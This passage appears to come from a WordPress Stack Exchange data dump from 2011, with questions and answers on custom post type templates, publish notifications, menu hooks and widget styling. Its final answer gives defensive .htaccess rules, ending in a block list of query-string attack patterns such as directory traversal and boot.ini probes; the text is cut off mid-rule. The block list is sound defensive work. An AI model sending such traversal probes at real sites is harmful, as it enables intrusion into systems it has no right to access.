  <row Id="19038" PostTypeId="1" CreationDate="2011-06-02T13:00:32.463" Score="1" ViewCount="143" Body="&lt;p&gt;I have a custom post type, for examle, products. They can be multilevel, like pages, f.e.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Products (custom post type)&#xA;&#xA;    Books&#xA;    |- LOTR&#xA;    |- Sherlock Holmes&#xA;    |- Cooking help&#xA;    |- etc&#xA;&#xA;    CD&#xA;    |- Iron maiden&#xA;    |- AC/DC&#xA;    |- Brainstorm&#xA;    |- etc&#xA;&#xA;    Manuals&#xA;    |- MS Word manual&#xA;    |- MS Excel manual&#xA;    |- PHP manual&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need a seperate pages for first level of hierachy (Books, CD, manuals), what i can achieve by creating a file archive-products.php in theme directory and then making a new query with parameter to get only first level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is with the second level. I cannot figure out, how to create a template file for displaying a child elements of f.e. Books ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, i can manage it by using jquery. Get all level of hierarchy, then hide second level and on the click of first level Name, open sublevel and hide first level, but this is not a solution what i need to achieve, because of the lack of the correct url. I want to get correct url for 1 level www.ddd.com/products/ and also for the second www.ddd.com/products/books/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have in my archive-POSTTYPE.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header();?&amp;gt;&#xA;            &amp;lt;div id=&quot;maincol&quot;&amp;gt;&#xA;            &amp;lt;?&#xA;&#xA;    $query = new WP_Query( 'post_type=produkts&amp;amp;post_parent=0' );&#xA;    while( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;    the_title();&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;    endwhile;&#xA;    wp_reset_postdata();    &#xA;&#xA;            ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the single-posttype.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header();?&amp;gt;&#xA;        &amp;lt;div id=&quot;maincol&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;&#xA;            if (is_child_post()){&#xA;                //this is the true single product&#xA;                the_title();&#xA;&#xA;            }else{&#xA;                //this is the product list of parent &#xA;&#xA;                $query = new WP_Query( 'post_type=produkts&amp;amp;post_parent='.$post-&amp;gt;ID.'' );&#xA;                while( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;                echo '&amp;lt;li&amp;gt;';&#xA;                the_title();&#xA;                echo '&amp;lt;/li&amp;gt;';&#xA;                endwhile;&#xA;                wp_reset_postdata();&#xA;            }       &#xA;&#xA;            ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_footer();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5878" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-03T22:28:34.947" LastActivityDate="2011-06-03T22:28:34.947" Title=" different template for first and second level custom post page" Tags="&lt;custom-post-types&gt;&lt;jquery&gt;&lt;css&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="19039" PostTypeId="2" ParentId="19026" CreationDate="2011-06-02T13:06:02.590" Score="2" ViewCount="" Body="&lt;p&gt;this works fine for a specific user login:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $user_login;&#xA;   get_currentuserinfo();&#xA;   if ($user_login !== &quot;admin&quot;) { // change admin to the username that gets the updates&#xA;    add_action( 'init', create_function( '$a', &quot;remove_action( 'init', 'wp_version_check' );&quot; ), 2 );&#xA;    add_filter( 'pre_option_update_core', create_function( '$a', &quot;return null;&quot; ) );&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this for a specific user id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_ID;&#xA;   get_currentuserinfo();&#xA;   if ($user_ID !== 1) { // change 1 to the id number that gets the updates&#xA;    add_action( 'init', create_function( '$a', &quot;remove_action( 'init', 'wp_version_check' );&quot; ), 2 );&#xA;    add_filter( 'pre_option_update_core', create_function( '$a', &quot;return null;&quot; ) );&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T13:06:02.590" CommentCount="7" />
  <row Id="19040" PostTypeId="1" AcceptedAnswerId="19042" CreationDate="2011-06-02T13:09:34.883" Score="2" ViewCount="94" Body="&lt;p&gt;Is there a way to have Wordpress email me whenever a Page or Post is Published?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-06-02T13:26:39.507" Title="Alert Email when any Post or Page is Changed" Tags="&lt;email&gt;&lt;notifications&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="19041" PostTypeId="2" ParentId="19040" CreationDate="2011-06-02T13:21:42.303" Score="0" ViewCount="" Body="&lt;p&gt;Sure, you will need to use appropriate &lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;Post Status Transition&lt;/a&gt; hook or hooks and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_mail()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T13:21:42.303" />
  <row Id="19042" PostTypeId="2" ParentId="19040" CreationDate="2011-06-02T13:26:39.507" Score="4" ViewCount="" Body="&lt;p&gt;There's a &lt;a href=&quot;http://www.google.co.uk/search?q=wordpress%20email%20notification&quot; rel=&quot;nofollow&quot;&gt;few plugins that handle email notifications&lt;/a&gt;, but they all seem to act like a subscription service for (all) WordPress users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To notify just &lt;em&gt;you&lt;/em&gt; when a post or page is published, it's literally a few lines of code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __notify_admin_on_publish( $new_status, $old_status, $post )&#xA;{&#xA;    if ( $new_status != 'publish' || $old_status == 'publish' )&#xA;        return;&#xA;&#xA;    $message = 'View it: ' . get_permalink( $post-&amp;gt;ID ) . &quot;\nEdit it: &quot; . get_edit_post_link( $post-&amp;gt;ID );&#xA;    if ( $post_type = get_post_type_object( $post-&amp;gt;post_type ) )    &#xA;        wp_mail( get_option( 'admin_email' ), 'New ' . $post_type-&amp;gt;labels-&amp;gt;singular_name, $message );&#xA;}&#xA;add_action( 'transition_post_status', '__notify_admin_on_publish', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can either drop this in your theme's &lt;code&gt;functions.php&lt;/code&gt;, or save it as a plugin (which might be more appropriate, as it's not exactly 'theme' related).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-02T13:26:39.507" />
  <row Id="19043" PostTypeId="2" ParentId="19038" CreationDate="2011-06-02T13:35:12.787" Score="4" ViewCount="" Body="&lt;p&gt;i needed something similar and i've come up with this simple little function that make things easier :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_child_post($parent_ID = null) {&#xA;    global $post;&#xA;    if (isset($parent_ID) &amp;amp;&amp;amp; $parent_ID != null){&#xA;        return $post-&amp;gt;post_parent == $parent_ID;&#xA;    }&#xA;    return $post-&amp;gt;post_parent &amp;gt; 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check if a post/page/custom has a parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_child_post()){&#xA;  //yes we have a parent&#xA;}else{&#xA;  //not its a top level parent&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;check if a post/page/custom is a child of a specific parent with  the ID of 32:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_child_post(32)){&#xA;  //yes its a child of a parent with the ID of 32&#xA;}else{&#xA;  //not its a child of a parent with the ID of 32&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So once you have this handy function you can create your a child-products.php template file and then use 'template_redirect' hook to tell WordPress when to use it for example  this will tell WordPress to use it even time its a child product:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_child_template_redirect($single_template) {&#xA;    global $post;&#xA;    if ($post-&amp;gt;post_type == 'YOUR_TYPE' &amp;amp;&amp;amp; is_child_post()) { //change YOUR_TYPE to your custom Post type name &#xA;        return TEMPLATEPATH . '/child-products.php'; // change child-products.php to the name of your child template file&#xA;    }&#xA;    return $single_template;&#xA;&#xA;}&#xA;add_action( 'template_redirect', 'custom_child_template_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T13:35:12.787" CommentCount="9" />
  <row Id="19044" PostTypeId="1" AcceptedAnswerId="19178" CreationDate="2011-06-02T13:47:51.493" Score="1" ViewCount="52" Body="&lt;p&gt;I'm currently using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/&quot; rel=&quot;nofollow&quot;&gt;WordPress Beta Tester&lt;/a&gt; plugin on a site. Is there a &quot;best&quot; way to transition the site to a &quot;normal&quot; WordPress install? The plugin includes this notice:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please note: Once you have switched&#xA;  your blog to one of these beta&#xA;  versions of software it will not&#xA;  always be possible to downgrade as the&#xA;  database structure maybe updated&#xA;  during the development of a major&#xA;  release.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-07-04T02:12:01.483" Title="How can I transition a site from using the Beta Tester plugin to a &quot;normal&quot; install?" Tags="&lt;wordpress-beta-tester&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="19045" PostTypeId="2" ParentId="16216" CreationDate="2011-06-02T14:02:17.040" Score="0" ViewCount="" Body="&lt;p&gt;You could use &lt;code&gt;wp_verify_nonce&lt;/code&gt; to verify the nonce &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_verify_nonce&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_verify_nonce&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5880" LastActivityDate="2011-06-02T14:02:17.040" />
  <row Id="19046" PostTypeId="2" ParentId="19029" CreationDate="2011-06-02T14:20:46.370" Score="2" ViewCount="" Body="&lt;p&gt;Thanks to Rarst pointing out that I was in the wrong place, I did some more digging and ended up with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_get_attachment_image_attributes', 'my_no_image_title');&#xA;function my_no_image_title ($attr) {&#xA;    unset($attr['title']);&#xA;    return $attr;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-06-02T14:20:46.370" />
  <row Id="19047" PostTypeId="1" CreationDate="2011-06-02T14:47:48.267" Score="0" ViewCount="96" Body="&lt;p&gt;I have a Custom Post Type called 'family' and a Taxonomy called 'cult' for which one of the values is 'caaleni'. I'm trying to create a list of all 'family' posts in the 'cult' called 'caaleni'. According to the codex, I should be able to use this before my loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;'post_type'=&amp;gt; 'family',&#xA;'cult'    =&amp;gt; 'caaleni',&#xA;   );&#xA;query_posts( $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code used to create my custom taxonomy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy('cult',array (&#xA;  0 =&amp;gt; 'family',&#xA;),array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Cult','show_ui' =&amp;gt; true,'query_var' =&amp;gt; true,'rewrite' =&amp;gt; array('slug' =&amp;gt; 'cult'),'singular_label' =&amp;gt; 'Cult') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The taxonomy works fine in every other regard except for this bit of code, where it should be showing all of the 'caaleni' posts it's showing everything in the family' post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding how it works? I got the first bit of code from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;this codex page&lt;/a&gt;, it's the last example at the very bottom.&lt;/p&gt;&#xA;" OwnerUserId="5881" LastActivityDate="2011-06-02T14:47:48.267" Title="List Posts from Specific Post Type and Taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" CommentCount="1" />
  <row Id="19049" PostTypeId="2" ParentId="18459" CreationDate="2011-06-02T15:06:55.263" Score="4" ViewCount="" Body="&lt;h2&gt;WP Updates Notifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;br&gt;&#xA;Sends email to notify you if there are any updates for your WordPress site. Can notify about core, plugin and theme updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;br&gt;&#xA;Plug, setup and play&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/wp-updates-notifier/screenshot-1.jpg?r=392244&quot; alt=&quot;Settings for WP Updates Notifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download link&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-updates-notifier/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Plugin Directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/19019/wp-plugin-updates&quot;&gt;WP plugin updates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-02T15:06:55.263" CommunityOwnedDate="2011-06-02T15:06:55.263" CommentCount="1" />
  <row Id="19050" PostTypeId="1" CreationDate="2011-06-02T15:18:27.887" Score="0" ViewCount="60" Body="&lt;p&gt;I'm looking for the best-practice method for creating drop-down menus for child elements under a menu generated by the core WordPress menu functionality. There are &lt;em&gt;tons&lt;/em&gt; of CSS and/or JS menu solutions out there (many of which have licenses which are not GPL-compatible, unfortunately...) so what I'm looking for is the best, most feature-complete, &lt;strong&gt;recommended&lt;/strong&gt; way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it &quot;Just copy Twenty Ten/Twenty Eleven, dummy!&quot;? Or is there something better out there?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-06-02T15:18:27.887" Title="What is the best-practice solution (JS/CSS) for drop-down menus + core WP menu functionality?" Tags="&lt;custom-menus&gt;&lt;dropdown&gt;" FavoriteCount="2" />
  <row Id="19051" PostTypeId="1" CreationDate="2011-06-02T15:20:15.810" Score="0" ViewCount="41" Body="&lt;p&gt;With inspiration from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15650/how-can-i-create-an-auto-populated-menu-that-is-automatically-assigned-to-a-locat&quot;&gt;this post&lt;/a&gt; and using the theme activation/deactivation hook hack by &lt;a href=&quot;http://www.krishnakantsharma.com/2011/01/activationdeactivation-hook-for-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Krishna Sharma&lt;/a&gt; I'm trying to unregister a predefined nav_menu upon theme deactivation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to use the &lt;code&gt;unregister_nav_menu&lt;/code&gt; hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary here is what I'm doing now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onlyiol_deactivate() {&#xA;        global $_wp_registered_nav_menus;   &#xA;        $dappm_onlyiol = 'dappm_onlyiol';&#xA;        unregister_nav_menu( $dappm_onlyiol );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function below (taking from the inspiration post) adds the menu properly when the theme is activated but I cannot get it to remove the menu upon deactivation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onlyiol_activate() {&#xA;    if( function_exists( 'wp_nav_menu' ) ){&#xA;        register_nav_menu( 'dappm_onlyiol', 'Default BuddyPress Menu' );&#xA;        add_action( 'widgets_init', 'dappact_addmenu_onlyiol' );&#xA;    }&#xA;}&#xA;wp_register_theme_activation_hook('onlyiol', 'onlyiol_activate');&#xA;&#xA;function onlyiol_deactivate() {&#xA;    global $_wp_registered_nav_menus;   &#xA;    $dappm_onlyiol = 'dappm_onlyiol';&#xA;    unregister_nav_menu( $dappm_onlyiol );&#xA;}&#xA;wp_register_theme_deactivation_hook('onlyiol', 'onlyiol_deactivate');&#xA;&#xA;&#xA;function dappact_addmenu_onlyiol(){&#xA;    $menuname = 'IOL Navigation Menu';&#xA;    $bpmenulocation = 'dappm_onlyiol';&#xA;    // Does the menu exist already?&#xA;    $menu_exists = wp_get_nav_menu_object( $menuname );&#xA;&#xA;    // If it doesn't exist, let's create it.&#xA;    if( !$menu_exists){&#xA;        $menu_id = wp_create_nav_menu($menuname);&#xA;&#xA;        // Set up default BuddyPress links and add them to the menu.&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Home'),&#xA;            'menu-item-classes' =&amp;gt; 'home',&#xA;            'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;        wp_update_nav_menu_item($menu_id, 0, array(&#xA;            'menu-item-title' =&amp;gt;  __('Find Us'),&#xA;            'menu-item-classes' =&amp;gt; 'findus',&#xA;            'menu-item-url' =&amp;gt; home_url( '/findus/' ), &#xA;            'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For convenience (and @Jan Fabry asked for this in this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6248/theme-activate-hook&quot;&gt;reference post&lt;/a&gt;) this is the activation/deactivation snippet. I am running this in a plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Provides activation/deactivation hook for wordpress theme.&#xA; *&#xA; * Usage:&#xA; * ----------------------------------------------&#xA; * Include this file before this line.&#xA; * ----------------------------------------------&#xA; * function my_theme_activate() {&#xA; *    // code to execute on theme activation&#xA; * }&#xA; * wp_register_theme_activation_hook('mytheme', 'my_theme_activate');&#xA; *&#xA; * function my_theme_deactivate() {&#xA; *    // code to execute on theme deactivation&#xA; * }&#xA; * wp_register_theme_deactivation_hook('mytheme', 'my_theme_deactivate');&#xA; * ----------------------------------------------&#xA; * &#xA; * @author Krishna Kant Sharma (http://www.krishnakantsharma.com)&#xA; */&#xA;&#xA;/**&#xA; *&#xA; * @desc registers a theme activation hook&#xA; * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'&#xA; * @param callback $function : Function to call when theme gets activated.&#xA; */&#xA;function wp_register_theme_activation_hook($code, $function) {&#xA;    $optionKey=&quot;theme_is_activated_&quot; . $code;&#xA;    if(!get_option($optionKey)) {&#xA;        call_user_func($function);&#xA;        update_option($optionKey , 1);&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * @desc registers deactivation hook&#xA; * @param string $code : Code of the theme. This must match the value you provided in wp_register_theme_activation_hook function as $code&#xA; * @param callback $function : Function to call when theme gets deactivated.&#xA; */&#xA;function wp_register_theme_deactivation_hook($code, $function) {&#xA;    // store function in code specific global&#xA;    $GLOBALS[&quot;wp_register_theme_deactivation_hook_function&quot; . $code]=$function;&#xA;&#xA;    // create a runtime function which will delete the option set while activation of this theme and will call deactivation function provided in $function&#xA;    $fn=create_function('$theme', ' call_user_func($GLOBALS[&quot;wp_register_theme_deactivation_hook_function' . $code . '&quot;]); delete_option(&quot;theme_is_activated_' . $code. '&quot;);');&#xA;&#xA;    // add above created function to switch_theme action hook. This hook gets called when admin changes the theme.&#xA;    // Due to wordpress core implementation this hook can only be received by currently active theme (which is going to be deactivated as admin has chosen another one. &#xA;    // Your theme can perceive this hook as a deactivation hook.)&#xA;    add_action(&quot;switch_theme&quot;, $fn);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://hitchhackerguide.com/2011/02/12/unregister_nav_menu/&quot; rel=&quot;nofollow&quot;&gt;A HitchHackers guide through WordPress&lt;/a&gt; this is the function that the &lt;code&gt;unregister_nav_menu&lt;/code&gt; hook calls...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function unregister_nav_menu( $location ) {&#xA;    global $_wp_registered_nav_menus;&#xA;    if ( is_array( $_wp_registered_nav_menus ) &amp;amp;&amp;amp; isset( $_wp_registered_nav_menus[$location] ) ) {&#xA;        unset( $_wp_registered_nav_menus[$location] );&#xA;        return true;  &#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-02T15:20:15.810" Title="How to properly pass the unregister_nav_menu hook?" Tags="&lt;custom-menus&gt;" />
  <row Id="19052" PostTypeId="2" ParentId="18942" CreationDate="2011-06-02T15:30:00.777" Score="1" ViewCount="" Body="&lt;p&gt;Aha, so the &lt;code&gt;$before_widget&lt;/code&gt; variable is a string representing div element: &lt;code&gt;&amp;lt;div class=&quot;widget my&quot; id=&quot;my-widget-1&quot;&amp;gt;&lt;/code&gt; . So I checked the &lt;code&gt;$before_widget&lt;/code&gt; for the &quot;class&quot; sub-string and added my &lt;code&gt;$widget_width&lt;/code&gt; value to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is from my custom widget file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget( $args, $instance ) {&#xA;  extract( $args );&#xA;  ... //other code&#xA;&#xA;  $widget_width = !empty($instance['widget_width']) ? $instance['widget_width'] : &quot;col300&quot;;&#xA;  /* Add the width from $widget_width to the class from the $before widget */&#xA;  // no 'class' attribute - add one with the value of width&#xA;  if( strpos($before_widget, 'class') === false ) {&#xA;    $before_widget = str_replace('&amp;gt;', 'class=&quot;'. $widget_width . '&quot;', $before_widget);&#xA;  }&#xA;  // there is 'class' attribute - append width value to it&#xA;  else {&#xA;    $before_widget = str_replace('class=&quot;', 'class=&quot;'. $widget_width . ' ', $before_widget);&#xA;  }&#xA;  /* Before widget */&#xA;  echo $before_widget;&#xA;&#xA;  ... //other code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to add my &lt;code&gt;$widget_width&lt;/code&gt; variable to the widget div element within my own widget code (while I had an easy access to the &lt;code&gt;$widget_width&lt;/code&gt; variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense and will help someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-06-02T15:30:00.777" />
  <row Id="19053" PostTypeId="1" AcceptedAnswerId="19056" CreationDate="2011-06-02T15:35:44.103" Score="0" ViewCount="137" Body="&lt;p&gt;Here's the site I'm having problems with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ashleymosuro.com/newsite/about&quot; rel=&quot;nofollow&quot;&gt;http://www.ashleymosuro.com/newsite/about&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, my custom theme I created for the Jquery UI is being overridden by the google hosted stylesheet, and I have no idea where in my theme it is referencing the stylesheet. Wherever it is, I need to get rid of it. I'm trying to style the progress bars in the sidebar so that they are 20px high. I have done this in my custom theme stylesheet but it just keeps being overridden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="5883" LastEditorUserId="5883" LastEditorDisplayName="" LastEditDate="2011-06-02T16:22:59.770" LastActivityDate="2011-06-02T16:22:59.770" Title="Jquery UI Google CSS, from where?" Tags="&lt;jquery&gt;&lt;jquery-ui&gt;" AnswerCount="2" />
  <row Id="19054" PostTypeId="1" CreationDate="2011-06-02T15:39:19.710" Score="0" ViewCount="55" Body="&lt;p&gt;On a Buddypress site I’m looking after I’d like to be able to give the permission to delete activity to a usergroup (or even a specific user). Currently only I (the Super Admin) can delete activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running WordPress MU 2.9.2 and BuddyPress 1.2.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-06-02T15:39:19.710" Title="Buddypress - Only Site Admin (Super Admin) can delete activity from the activity feed?" Tags="&lt;buddypress&gt;&lt;permissions&gt;" />
  <row Id="19055" PostTypeId="1" AcceptedAnswerId="20749" CreationDate="2011-06-02T15:43:33.197" Score="0" ViewCount="59" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/wordpress-3.2-beta2.zip&quot; rel=&quot;nofollow&quot;&gt;Wordpress 3.2 beta&lt;/a&gt; comes with twenty eleven.&#xA;It has a Theme Option panel in the Appearance section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wpmu.org/wp-content/uploads/2011/05/theme-options.png&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what's the easiest (and extendible) way of adding more options to that panel. For instance, changing the color of other elements?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-06-22T22:38:33.050" Title="What's the easiest way of adding more options in the Theme Options of the twenty eleven theme?" Tags="&lt;themes&gt;&lt;options&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="19056" PostTypeId="2" ParentId="19053" CreationDate="2011-06-02T15:54:21.593" Score="1" ViewCount="" Body="&lt;p&gt;try and use the correct syntax in the stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/* jQuery UI Progressbar 1.8.13*/&#xA;/* Progress bars on about page*/&#xA;.ui-progressbar.ui-widget.ui-widget-content.ui-corner-all { &#xA;    height:20px;&#xA;    text-align: left;&#xA;    }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i don't know where the google css comes from. and excuse the way the code is presented; the 'code' button seems to be out-of-order)&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-02T15:54:21.593" CommentCount="1" />
  <row Id="19057" PostTypeId="2" ParentId="18968" CreationDate="2011-06-02T16:00:43.823" Score="4" ViewCount="" Body="&lt;p&gt;Some basic Security stuff.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-bash prettyprint-override&quot;&gt;&lt;code&gt;# limit indexing of directories&#xA;Options All -Indexes&#xA;&#xA;# protect the htaccess file,&#xA;# this is done by default with apache config file,&#xA;# but you never know.&#xA;&amp;lt;files .htaccess&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;# disable the server signature&#xA;ServerSignature Off&#xA;&#xA;# limit file uploads to 10mb&#xA;LimitRequestBody 10240000&#xA;&#xA;# protect wpconfig.php.&#xA;&amp;lt;files wp-config.php&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;# Limit logins and admin by IP&#xA;# this goes in the /admin folder NOT root folder .htaccess&#xA;&amp;lt;Limit GET POST PUT&amp;gt;&#xA;order deny,allow&#xA;deny from all&#xA;allow from xx.xx.xx.xx  //( your static IP)&#xA;&amp;lt;/Limit&amp;gt;    &#xA;&#xA;# block bad query strings (hackers/bots), please be aware this might break some plugins&#xA;# QUERY STRING EXPLOITS&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA; RewriteCond %{QUERY_STRING} \.\.\/    [NC,OR]&#xA; RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]&#xA; RewriteCond %{QUERY_STRING} tag\=     [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ftp\:     [NC,OR]&#xA; RewriteCond %{QUERY_STRING} http\:    [NC,OR]&#xA; RewriteCond %{QUERY_STRING} https\:   [NC,OR]&#xA; RewriteCond %{QUERY_STRING} mosConfig [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|&amp;lt;|&amp;gt;|'|&quot;|;|\?|\*).* 